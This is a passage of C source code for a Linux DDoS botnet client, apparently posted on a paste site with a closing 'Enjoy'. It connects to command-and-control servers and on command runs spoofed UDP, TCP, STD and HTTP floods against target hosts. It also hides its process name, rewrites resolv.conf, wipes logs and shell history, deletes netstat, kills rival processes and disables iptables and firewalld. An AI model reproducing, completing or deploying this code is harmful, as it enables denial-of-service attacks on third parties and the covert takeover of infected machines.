  5000. // !* HTTP METHOD TARGET PORT PATH TIME POWER
  5001. // !* HTTP POST/GET/HEAD hackforums.net 80 / 10 100
  5002. if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  5003. if (listFork()) return;
  5004. SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  5005. exit(0);
  5006. }
  5007. if(!strcmp(argv[0], "UDP"))
  5008. {
  5009. // !* UDP TARGET PORT TIME PACKETSIZE POLLINTERVAL
  5010. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 1024 || (argc == 6 && atoi(argv[5]) < 1))
  5011. {
  5012. return;
  5013. }
  5014. unsigned char *ip = argv[1];
  5015. int port = atoi(argv[2]);
  5016. int time = atoi(argv[3]);
  5017. int packetsize = atoi(argv[4]);
  5018. int pollinterval = (argc == 6 ? atoi(argv[5]) : 10);
  5019. int spoofed = 32;
  5020. if(strstr(ip, ",") != NULL)
  5021. {
  5022. unsigned char *hi = strtok(ip, ",");
  5023. while(hi != NULL)
  5024. {
  5025. if(!listFork())
  5026. {
  5027. SendUDP(hi, port, time, packetsize, pollinterval, spoofed);
  5028. _exit(0);
  5029. }
  5030. hi = strtok(NULL, ",");
  5031. }
  5032. } else {
  5033. if (listFork())
  5034. {
  5035. return;
  5036. }
  5037. SendUDP(ip, port, time, packetsize, pollinterval, spoofed);
  5038. _exit(0);
  5039. }
  5040. }
  5041. if(!strcmp(argv[0], "TCP"))
  5042. {
  5043. //!* TCP TARGET PORT TIME FLAGS PACKETSIZE POLLINTERVAL
  5044. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || (argc > 5 && atoi(argv[5]) < 0) || (argc == 7 && atoi(argv[6]) < 1))
  5045. {
  5046. return;
  5047. }
  5048. unsigned char *ip = argv[1];
  5049. int port = atoi(argv[2]);
  5050. int time = atoi(argv[3]);
  5051. unsigned char *flags = argv[4];
  5052. int pollinterval = argc == 7 ? atoi(argv[6]) : 10;
  5053. int packetsize = argc > 5 ? atoi(argv[5]) : 0;
  5054. int spoofed = 32;
  5055. if(strstr(ip, ",") != NULL) {
  5056. unsigned char *hi = strtok(ip, ",");
  5057. while(hi != NULL) {
  5058. if(!listFork()) {
  5059. SendTCP(hi, port, time, flags, packetsize, pollinterval, spoofed);
  5060. _exit(0);
  5061. }
  5062. hi = strtok(NULL, ",");
  5063. }
  5064. } else {
  5065. if (listFork())
  5066. {
  5067. return;
  5068. }
  5069. SendTCP(ip, port, time, flags, packetsize, pollinterval, spoofed);
  5070. _exit(0);
  5071. }
  5072. }
  5073. if(!strcmp(argv[0], "STD")) //STD TARGET PORT TIME
  5074. {
  5075. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  5076. {
  5077. return;
  5078. }
  5079. unsigned char *ip = argv[1];
  5080. int port = atoi(argv[2]);
  5081. int time = atoi(argv[3]);
  5082. if(strstr(ip, ",") != NULL)
  5083. {
  5084. unsigned char *hi = strtok(ip, ",");
  5085. while(hi != NULL)
  5086. {
  5087. if(!listFork())
  5088. {
  5089. sendSTD(hi, port, time);
  5090. _exit(0);
  5091. }
  5092. hi = strtok(NULL, ",");
  5093. }
  5094. } else {
  5095. if (listFork()) { return; }
  5096. sendSTD(ip, port, time);
  5097. _exit(0);
  5098. }
  5099. }
  5100. if(!strcmp(argv[0], "STOP"))
  5101. {
  5102. int killed = 0;
  5103. unsigned long i;
  5104. for (i = 0; i < numpids; i++)
  5105. {
  5106. if (pids[i] != 0 && pids[i] != getpid())
  5107. {
  5108. kill(pids[i], 9);
  5109. killed++;
  5110. }
  5111. }
  5112. if(killed > 0)
  5113. {
  5114. //
  5115. } else {
  5116. //
  5117. }
  5118. }
  5119. if(!strcmp(argv[0], "FUCKOFF"))
  5120. {
  5121. exit(0);
  5122. }
  5123. if(!strcmp(argv[0], "UPDATE"))
  5124. {
  5125. RemoveTempDirs();
  5126. sockprintf(mainCommSock, "[Updating] [%s:%s]", getBuild(), getEndianness());
  5127. }
  5128. }
  5129. int initConnection() {
  5130. unsigned char server[512];
  5131. memset(server, 0, 512);
  5132. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  5133. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  5134. else currentServer++;
  5135. strcpy(server, commServer[currentServer]);
  5136. int port = 6942;
  5137. if(strchr(server, ':') != NULL) {
  5138. port = atoi(strchr(server, ':') + 1);
  5139. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  5140. }
  5141. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  5142. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  5143. return 0;
  5144. }
  5145. void UpdateNameSrvs() {
  5146. uint16_t fhandler = open("/etc/resolv.conf", O_WRONLY | O_TRUNC);
  5147. if (access("/etc/resolv.conf", F_OK) != -1) {
  5148. const char* resd = "nameserver 8.8.8.8\nnameserver 8.8.4.4\n";
  5149. size_t resl = strlen(resd);
  5150. write(fhandler, resd, resl);
  5151. } else { return; }
  5152. close(fhandler);
  5153. }
  5154. void RemoveTempDirs() {
  5155. system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*");
  5156. system("rm -rf /var/log/wtmp");
  5157. system("rm -rf ~/.bash_history");
  5158. system("history -c;history -w");
  5159. system("rm -rf /tmp/*");
  5160. system("history -c");
  5161. system("rm -rf /bin/netstat");
  5162. system("history -w");
  5163. system("pkill -9 busybox");
  5164. system("pkill -9 perl");
  5165. system("service iptables stop");
  5166. system("/sbin/iptables -F;/sbin/iptables -X");
  5167. system("service firewalld stop");
  5168. }
  5169. int getEndianness(void)
  5170. {
  5171. union
  5172. {
  5173. uint32_t vlu;
  5174. uint8_t data[sizeof(uint32_t)];
  5175. } nmb;
  5176. nmb.data[0] = 0x00;
  5177. nmb.data[1] = 0x01;
  5178. nmb.data[2] = 0x02;
  5179. nmb.data[3] = 0x03;
  5180. switch (nmb.vlu)
  5181. {
  5182. case UINT32_C(0x00010203):
  5183. return "BIG_ENDIAN";
  5184. case UINT32_C(0x03020100):
  5185. return "LITTLE_ENDIAN";
  5186. case UINT32_C(0x02030001):
  5187. return "BIG_ENDIAN_W";
  5188. case UINT32_C(0x01000302):
  5189. return "LITTLE_ENDIAN_W";
  5190. default:
  5191. return "UNKNOWN";
  5192. }
  5193. }
  5194. char *getBuildz()
  5195. {
  5196. if(access("/usr/bin/python", F_OK) != -1){
  5197. return "SERVER";
  5198. } else {
  5199. return "DEVICE";
  5200. }
  5201. }
  5202. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  5203. {
  5204. int got = 1, total = 0;
  5205. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  5206. return got == 0 ? NULL : buffer;
  5207. }
  5208. int getOurIP() {
  5209. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  5210. if(sock == -1) return 0;
  5211. struct sockaddr_in serv;
  5212. memset(&serv, 0, sizeof(serv));
  5213. serv.sin_family = AF_INET;
  5214. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  5215. serv.sin_port = htons(53);
  5216. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  5217. if(err == -1) return 0;
  5218. struct sockaddr_in name;
  5219. socklen_t namelen = sizeof(name);
  5220. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  5221. if(err == -1) return 0;
  5222. ourIP.s_addr = name.sin_addr.s_addr;
  5223. int cmdline = open("/proc/net/route", O_RDONLY);
  5224. char linebuf[4096];
  5225. while(fdgets(linebuf, 4096, cmdline) != NULL)
  5226. {
  5227. if(strstr(linebuf, "\t00000000\t") != NULL)
  5228. {
  5229. unsigned char *pos = linebuf;
  5230. while(*pos != '\t') pos++;
  5231. *pos = 0;
  5232. break;
  5233. }
  5234. memset(linebuf, 0, 4096);
  5235. }
  5236. close(cmdline);
  5237. if(*linebuf)
  5238. {
  5239. int i;
  5240. struct ifreq ifr;
  5241. strcpy(ifr.ifr_name, linebuf);
  5242. ioctl(sock, SIOCGIFHWADDR, &ifr);
  5243. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  5244. }
  5245. close(sock);
  5246. }
  5247. int main(int argc, unsigned char *argv[]) {
  5248. const char *lolsuckmekid = "";
  5249. if(SERVER_LIST_SIZE <= 0) return 0;
  5250. strncpy(argv[0],"",strlen(argv[0]));
  5251. argv[0] = "";
  5252. prctl(PR_SET_NAME, (unsigned long) lolsuckmekid, 0, 0, 0);
  5253. srand(time(NULL) ^ getpid());
  5254. init_rand(time(NULL) ^ getpid());
  5255. pid_t pid1;
  5256. pid_t pid2;
  5257. int status;
  5258. getOurIP();
  5259. if (pid1 = fork()) {
  5260. waitpid(pid1, &status, 0);
  5261. exit(0);
  5262. } else if (!pid1) {
  5263. if (pid2 = fork()) {
  5264. exit(0);
  5265. } else if (!pid2) {
  5266. } else {
  5267. }
  5268. } else {
  5269. }
  5270. chdir("/");
  5271. setuid(0);
  5272. seteuid(0);
  5273. signal(SIGPIPE, SIG_IGN);
  5274. while(1) {
  5275. if(fork() == 0) {
  5276. if(initConnection()) { sleep(5); continue; }
  5277. sockprintf(mainCommSock, "\e[96m[%s] \e[31m[SLEEPED] Connected -> %s -> %s",getBuildz(), inet_ntoa(ourIP), getBuild(), getEndianness(), VERSION);
  5278. UpdateNameSrvs();
  5279. RemoveTempDirs();
  5280. char commBuf[4096];
  5281. int got = 0;
  5282. int i = 0;
  5283. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) {
  5284. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  5285. unsigned int *newpids, on;
  5286. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  5287. pids[on - 1] = 0;
  5288. numpids--;
  5289. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  5290. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  5291. free(pids);
  5292. pids = newpids;
  5293. }
  5294. commBuf[got] = 0x00;
  5295. trim(commBuf);
  5296. if(strstr(commBuf, "PING") == commBuf) { // PING
  5297. continue;
  5298. }
  5299. if(strstr(commBuf, "DUP") == commBuf) exit(0); // DUP
  5300. unsigned char *message = commBuf;
  5301. if(*message == '!') {
  5302. unsigned char *nickMask = message + 1;
  5303. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  5304. if(*nickMask == 0x00) continue;
  5305. *(nickMask) = 0x00;
  5306. nickMask = message + 1;
  5307. message = message + strlen(nickMask) + 2;
  5308. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  5309. unsigned char *command = message;
  5310. while(*message != ' ' && *message != 0x00) message++;
  5311. *message = 0x00;
  5312. message++;
  5313. unsigned char *tmpcommand = command;
  5314. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  5315. unsigned char *params[10];
  5316. int paramsCount = 1;
  5317. unsigned char *pch = strtok(message, " ");
  5318. params[0] = command;
  5319. while(pch) {
  5320. if(*pch != '\n') {
  5321. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  5322. memset(params[paramsCount], 0, strlen(pch) + 1);
  5323. strcpy(params[paramsCount], pch);
  5324. paramsCount++;
  5325. }
  5326. pch = strtok(NULL, " ");
  5327. }
  5328. processCmd(paramsCount, params);
  5329. if(paramsCount > 1) {
  5330. int q = 1;
  5331. for(q = 1; q < paramsCount; q++) {
  5332. free(params[q]);
  5333. }
  5334. }
  5335. }
  5336. }
  5337. }
  5338. return 0;
  5339. }
  5340. }
  5341.  
  5342. // Enjoy
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement